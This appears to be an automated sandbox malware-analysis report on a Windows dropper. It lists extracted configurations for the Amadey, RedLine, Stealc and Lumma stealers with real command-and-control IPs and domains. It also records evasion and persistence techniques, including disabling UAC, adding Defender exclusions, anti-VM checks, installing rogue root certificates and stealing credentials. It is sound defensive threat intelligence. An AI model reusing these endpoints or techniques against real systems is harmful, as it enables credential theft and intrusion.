Analysis
-
max time kernel
150s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20240412-en -
resource tags
arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system -
submitted
26/04/2024, 03:34
Static task
static1
Behavioral task
behavioral1
Sample
e4bf167612708d2a5705762a4a92c1d438d2c749c96a8db74ca47ac912f87fb6.exe
Resource
win10v2004-20240412-en
General
-
Target
e4bf167612708d2a5705762a4a92c1d438d2c749c96a8db74ca47ac912f87fb6.exe
-
Size
1.8MB
-
MD5
5535f432a7681cd4351a8e138bdbf3c4
-
SHA1
1267f722924f247652d2a6680877c7bc05761517
-
SHA256
e4bf167612708d2a5705762a4a92c1d438d2c749c96a8db74ca47ac912f87fb6
-
SHA512
c9c825dc92154072054aab7cae034fe0b39e06ca8a19269589259e0b8ab73b2cc824b554b014a3931bc141c467cb16cf8d897cf59e9b48a827a64dae9202aa5e
-
SSDEEP
49152:Pd/xREYfjcm31fb1N74gZBxSjg0ewqaP:PfREYr33xbT74KBwAwj
Malware Config
Extracted
amadey
4.17
http://193.233.132.167
-
install_dir
4d0ab15804
-
install_file
chrosha.exe
-
strings_key
1a9519d7b465e1f4880fa09a6162d768
-
url_paths
/enigma/index.php
Extracted
redline
@CLOUDYTTEAM
185.172.128.33:8970
Extracted
redline
Test1234
185.215.113.67:26260
Extracted
stealc
http://52.143.157.84
http://185.172.128.76
-
url_path
/c73eed764cc59dcb.php
Extracted
lumma
https://affordcharmcropwo.shop/api
https://cleartotalfisherwo.shop/api
https://worryfillvolcawoi.shop/api
https://enthusiasimtitleow.shop/api
https://dismissalcylinderhostw.shop/api
https://diskretainvigorousiw.shop/api
https://communicationgenerwo.shop/api
https://productivelookewr.shop/api
https://pillowbrocccolipe.shop/api
https://tolerateilusidjukl.shop/api
https://shatterbreathepsw.shop/api
https://shortsvelventysjo.shop/api
https://incredibleextedwj.shop/api
https://alcojoldwograpciw.shop/api
https://liabilitynighstjsko.shop/api
https://demonstationfukewko.shop/api
Signatures
-
Detect ZGRat V1 5 IoCs
resource yara_rule behavioral1/memory/884-78-0x0000000000400000-0x0000000000592000-memory.dmp family_zgrat_v1 behavioral1/memory/932-77-0x0000000000770000-0x0000000000A28000-memory.dmp family_zgrat_v1 behavioral1/memory/932-83-0x0000000000770000-0x0000000000A28000-memory.dmp family_zgrat_v1 behavioral1/files/0x000900000002341d-89.dat family_zgrat_v1 behavioral1/memory/4724-134-0x0000000000A20000-0x0000000000AE0000-memory.dmp family_zgrat_v1 -
Glupteba payload 5 IoCs
resource yara_rule behavioral1/memory/5092-710-0x0000000000400000-0x0000000003005000-memory.dmp family_glupteba behavioral1/memory/2600-731-0x0000000000400000-0x0000000003005000-memory.dmp family_glupteba behavioral1/memory/1952-819-0x0000000000400000-0x0000000003005000-memory.dmp family_glupteba behavioral1/memory/4920-820-0x0000000000400000-0x0000000003005000-memory.dmp family_glupteba behavioral1/memory/5092-1080-0x0000000000400000-0x0000000003005000-memory.dmp family_glupteba -
Modifies firewall policy service 2 TTPs 2 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\C:\ = "1" Ss7FRNbPoFLjNbD205Rjt2ur.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\C:\ = "1" 9L6c9PYhL5GMiZiXTc6jlpzN.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 6 IoCs
resource yara_rule behavioral1/files/0x000900000002341d-89.dat family_redline behavioral1/files/0x000900000002341c-94.dat family_redline behavioral1/memory/1668-103-0x0000000000430000-0x0000000000482000-memory.dmp family_redline behavioral1/memory/4724-134-0x0000000000A20000-0x0000000000AE0000-memory.dmp family_redline behavioral1/files/0x0009000000023428-180.dat family_redline behavioral1/memory/1316-196-0x0000000000B20000-0x0000000000B72000-memory.dmp family_redline -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" Uni400uni.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" file300un.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths Uni400uni.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\1000226001\Uni400uni.exe = "0" Uni400uni.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe = "0" file300un.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ = "1" Ss7FRNbPoFLjNbD205Rjt2ur.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ = "1" 9L6c9PYhL5GMiZiXTc6jlpzN.exe -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 4 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ 9L6c9PYhL5GMiZiXTc6jlpzN.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ e4bf167612708d2a5705762a4a92c1d438d2c749c96a8db74ca47ac912f87fb6.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ chrosha.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Ss7FRNbPoFLjNbD205Rjt2ur.exe -
Blocklisted process makes network request 4 IoCs
flow pid Process 124 1372 rundll32.exe 126 1372 rundll32.exe 192 2656 u2e0.0.exe 126 1372 rundll32.exe -
Downloads MZ/PE file
-
Stops running service(s) 3 TTPs
-
Checks BIOS information in registry 2 TTPs 10 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion chrosha.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion chrosha.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Ss7FRNbPoFLjNbD205Rjt2ur.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion e4bf167612708d2a5705762a4a92c1d438d2c749c96a8db74ca47ac912f87fb6.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion e4bf167612708d2a5705762a4a92c1d438d2c749c96a8db74ca47ac912f87fb6.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion Ss7FRNbPoFLjNbD205Rjt2ur.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 9L6c9PYhL5GMiZiXTc6jlpzN.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 9L6c9PYhL5GMiZiXTc6jlpzN.exe -
Checks computer location settings 2 TTPs 11 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-355664440-2199602304-1223909400-1000\Control Panel\International\Geo\Nation NewB.exe Key value queried \REGISTRY\USER\S-1-5-21-355664440-2199602304-1223909400-1000\Control Panel\International\Geo\Nation file300un.exe Key value queried \REGISTRY\USER\S-1-5-21-355664440-2199602304-1223909400-1000\Control Panel\International\Geo\Nation regasm.exe Key value queried \REGISTRY\USER\S-1-5-21-355664440-2199602304-1223909400-1000\Control Panel\International\Geo\Nation RX7D2vpx9lchoDcWXIyFxKP1.exe Key value queried \REGISTRY\USER\S-1-5-21-355664440-2199602304-1223909400-1000\Control Panel\International\Geo\Nation Install.exe Key value queried \REGISTRY\USER\S-1-5-21-355664440-2199602304-1223909400-1000\Control Panel\International\Geo\Nation chrosha.exe Key value queried \REGISTRY\USER\S-1-5-21-355664440-2199602304-1223909400-1000\Control Panel\International\Geo\Nation RegAsm.exe Key value queried \REGISTRY\USER\S-1-5-21-355664440-2199602304-1223909400-1000\Control Panel\International\Geo\Nation Uni400uni.exe Key value queried \REGISTRY\USER\S-1-5-21-355664440-2199602304-1223909400-1000\Control Panel\International\Geo\Nation install.exe Key value queried \REGISTRY\USER\S-1-5-21-355664440-2199602304-1223909400-1000\Control Panel\International\Geo\Nation J0FmZbISAJIWTssvwmB5HAUF.exe Key value queried \REGISTRY\USER\S-1-5-21-355664440-2199602304-1223909400-1000\Control Panel\International\Geo\Nation u2e0.3.exe -
Executes dropped EXE 50 IoCs
pid Process 4568 chrosha.exe 4144 swiiiii.exe 932 alexxxxxxxx.exe 1668 keks.exe 4724 trf.exe 2448 gold.exe 4980 NewB.exe 1316 jok.exe 544 swiiii.exe 740 Uni400uni.exe 4584 file300un.exe 3096 RX7D2vpx9lchoDcWXIyFxKP1.exe 5092 pL6FbSzAJpQmgCw5c7FMyTCS.exe 2600 RQ5GRHsZPTxkmcLykLyrD6J8.exe 3192 J0FmZbISAJIWTssvwmB5HAUF.exe 1952 dyqheVShAUREFxYNksrxoLdi.exe 4920 EgFKOFI2GR8ebW5qlV87i4ik.exe 4572 install.exe 2656 u2e0.0.exe 5168 Ss7FRNbPoFLjNbD205Rjt2ur.exe 5348 u2go.0.exe 5576 GameService.exe 5800 GameService.exe 5900 GameService.exe 5924 GameService.exe 6064 GameServerClient.exe 6104 785141.exe 5548 run.exe 5752 HxwndxdTEC4tRf45pZw7hAn0.exe 5828 Install.exe 5148 DgfaXTld2wiWW0i5eGY8ps27.exe 5944 DgfaXTld2wiWW0i5eGY8ps27.exe 5796 run.exe 5700 DgfaXTld2wiWW0i5eGY8ps27.exe 6048 DgfaXTld2wiWW0i5eGY8ps27.exe 6044 gcdcBSqFa0nx5r4VeECLHNWm.exe 4720 DgfaXTld2wiWW0i5eGY8ps27.exe 4900 gcdcBSqFa0nx5r4VeECLHNWm.exe 1920 u2e0.3.exe 540 gcdcBSqFa0nx5r4VeECLHNWm.exe 6056 9L6c9PYhL5GMiZiXTc6jlpzN.exe 1416 u2go.3.exe 5560 Assistant_109.0.5097.45_Setup.exe_sfx.exe 4676 assistant_installer.exe 5584 assistant_installer.exe 5404 NewB.exe 2360 EtUucxZCfeO1fzwNt6O7ue15.exe 3604 Install.exe 3848 oUuodel.exe 2912 NewB.exe -
Identifies Wine through registry keys 2 TTPs 2 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-355664440-2199602304-1223909400-1000\Software\Wine e4bf167612708d2a5705762a4a92c1d438d2c749c96a8db74ca47ac912f87fb6.exe Key opened \REGISTRY\USER\S-1-5-21-355664440-2199602304-1223909400-1000\Software\Wine chrosha.exe -
Loads dropped DLL 20 IoCs
pid Process 2828 rundll32.exe 1372 rundll32.exe 4144 RegAsm.exe 4144 RegAsm.exe 1372 rundll32.exe 6104 785141.exe 5548 run.exe 5148 DgfaXTld2wiWW0i5eGY8ps27.exe 5944 DgfaXTld2wiWW0i5eGY8ps27.exe 5700 DgfaXTld2wiWW0i5eGY8ps27.exe 6048 DgfaXTld2wiWW0i5eGY8ps27.exe 6044 gcdcBSqFa0nx5r4VeECLHNWm.exe 4720 DgfaXTld2wiWW0i5eGY8ps27.exe 4900 gcdcBSqFa0nx5r4VeECLHNWm.exe 540 gcdcBSqFa0nx5r4VeECLHNWm.exe 5796 run.exe 4676 assistant_installer.exe 4676 assistant_installer.exe 5584 assistant_installer.exe 5584 assistant_installer.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
resource yara_rule behavioral1/files/0x000700000002346e-667.dat themida behavioral1/files/0x00090000000234bf-1012.dat themida behavioral1/memory/5168-1022-0x0000000140000000-0x0000000140712000-memory.dmp themida -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths Uni400uni.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions Uni400uni.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\1000226001\Uni400uni.exe = "0" Uni400uni.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe = "0" file300un.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ = "1" Ss7FRNbPoFLjNbD205Rjt2ur.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ = "1" 9L6c9PYhL5GMiZiXTc6jlpzN.exe -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Uni400uni.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" Uni400uni.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA file300un.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" file300un.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Ss7FRNbPoFLjNbD205Rjt2ur.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 9L6c9PYhL5GMiZiXTc6jlpzN.exe -
Enumerates connected drives 3 TTPs 6 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\D: gcdcBSqFa0nx5r4VeECLHNWm.exe File opened (read-only) \??\F: gcdcBSqFa0nx5r4VeECLHNWm.exe File opened (read-only) \??\D: DgfaXTld2wiWW0i5eGY8ps27.exe File opened (read-only) \??\F: DgfaXTld2wiWW0i5eGY8ps27.exe File opened (read-only) \??\D: DgfaXTld2wiWW0i5eGY8ps27.exe File opened (read-only) \??\F: DgfaXTld2wiWW0i5eGY8ps27.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 128 pastebin.com 152 pastebin.com 127 pastebin.com -
Looks up external IP address via web service 6 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 185 api.myip.com 187 api.myip.com 188 ipinfo.io 191 ipinfo.io 224 api.myip.com 230 ipinfo.io -
Drops file in System32 directory 8 IoCs
description ioc Process File created C:\Windows\System32\GroupPolicy\Machine\Registry.pol Ss7FRNbPoFLjNbD205Rjt2ur.exe File opened for modification C:\Windows\System32\GroupPolicy\GPT.INI Ss7FRNbPoFLjNbD205Rjt2ur.exe File opened for modification C:\Windows\System32\GroupPolicy 9L6c9PYhL5GMiZiXTc6jlpzN.exe File opened for modification C:\Windows\System32\GroupPolicy\gpt.ini 9L6c9PYhL5GMiZiXTc6jlpzN.exe File opened for modification C:\Windows\System32\GroupPolicy\Machine\Registry.pol 9L6c9PYhL5GMiZiXTc6jlpzN.exe File opened for modification C:\Windows\System32\GroupPolicy\GPT.INI 9L6c9PYhL5GMiZiXTc6jlpzN.exe File opened for modification C:\Windows\System32\GroupPolicy Ss7FRNbPoFLjNbD205Rjt2ur.exe File opened for modification C:\Windows\System32\GroupPolicy\gpt.ini Ss7FRNbPoFLjNbD205Rjt2ur.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
pid Process 2548 e4bf167612708d2a5705762a4a92c1d438d2c749c96a8db74ca47ac912f87fb6.exe 4568 chrosha.exe 5168 Ss7FRNbPoFLjNbD205Rjt2ur.exe 6056 9L6c9PYhL5GMiZiXTc6jlpzN.exe -
Suspicious use of SetThreadContext 10 IoCs
description pid Process procid_target PID 4144 set thread context of 1664 4144 swiiiii.exe 103 PID 932 set thread context of 884 932 alexxxxxxxx.exe 107 PID 2448 set thread context of 4920 2448 gold.exe 114 PID 544 set thread context of 4144 544 swiiii.exe 125 PID 740 set thread context of 1944 740 Uni400uni.exe 140 PID 4584 set thread context of 2036 4584 file300un.exe 147 PID 5548 set thread context of 5760 5548 run.exe 178 PID 5796 set thread context of 2656 5796 run.exe 202 PID 5760 set thread context of 4800 5760 cmd.exe 228 PID 2656 set thread context of 3260 2656 cmd.exe 233 -
Drops file in Program Files directory 10 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\GameServerClient\GameServerClientC.exe install.exe File created C:\Program Files (x86)\GameServerClient\installc.bat install.exe File opened for modification C:\Program Files (x86)\GameServerClient\installg.bat install.exe File opened for modification C:\Program Files (x86)\GameServerClient\GameServerClient.exe install.exe File created C:\Program Files (x86)\GameServerClient\GameServerClientC.exe install.exe File created C:\Program Files (x86)\GameServerClient\GameServerClient.exe install.exe File opened for modification C:\Program Files (x86)\GameServerClient\installc.bat install.exe File created C:\Program Files (x86)\GameServerClient\installg.bat install.exe File created C:\Program Files (x86)\GameServerClient\GameService.exe install.exe File opened for modification C:\Program Files (x86)\GameServerClient\GameService.exe install.exe -
Drops file in Windows directory 3 IoCs
description ioc Process File created C:\Windows\Tasks\chrosha.job e4bf167612708d2a5705762a4a92c1d438d2c749c96a8db74ca47ac912f87fb6.exe File created C:\Windows\Tasks\bWycNackLSywaqkmgR.job schtasks.exe File opened for modification C:\Windows\Tasks\bWycNackLSywaqkmgR.job schtasks.exe -
Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 5468 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 11 IoCs
pid pid_target Process procid_target 764 4144 WerFault.exe 101 4244 932 WerFault.exe 106 3024 2448 WerFault.exe 113 5772 2656 WerFault.exe 157 4136 2656 WerFault.exe 157 5868 2656 WerFault.exe 157 5500 3096 WerFault.exe 145 632 5348 WerFault.exe 162 5604 3192 WerFault.exe 153 1588 5348 WerFault.exe 162 5220 5348 WerFault.exe 162 -
Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI u2e0.3.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI u2e0.3.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI u2e0.3.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI u2go.3.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI u2go.3.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI u2go.3.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 RegAsm.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString RegAsm.exe -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3896 schtasks.exe 4692 schtasks.exe 3020 schtasks.exe -
Enumerates system info in registry 2 TTPs 4 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName Install.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName Install.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS Install.exe -
Modifies data under HKEY_USERS 41 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe -
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61 keks.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4 DgfaXTld2wiWW0i5eGY8ps27.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 0f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e1996530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703080b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac89988140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f1d0000000100000010000000a86dc6a233eb339610f3ed414927c559030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e42000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74f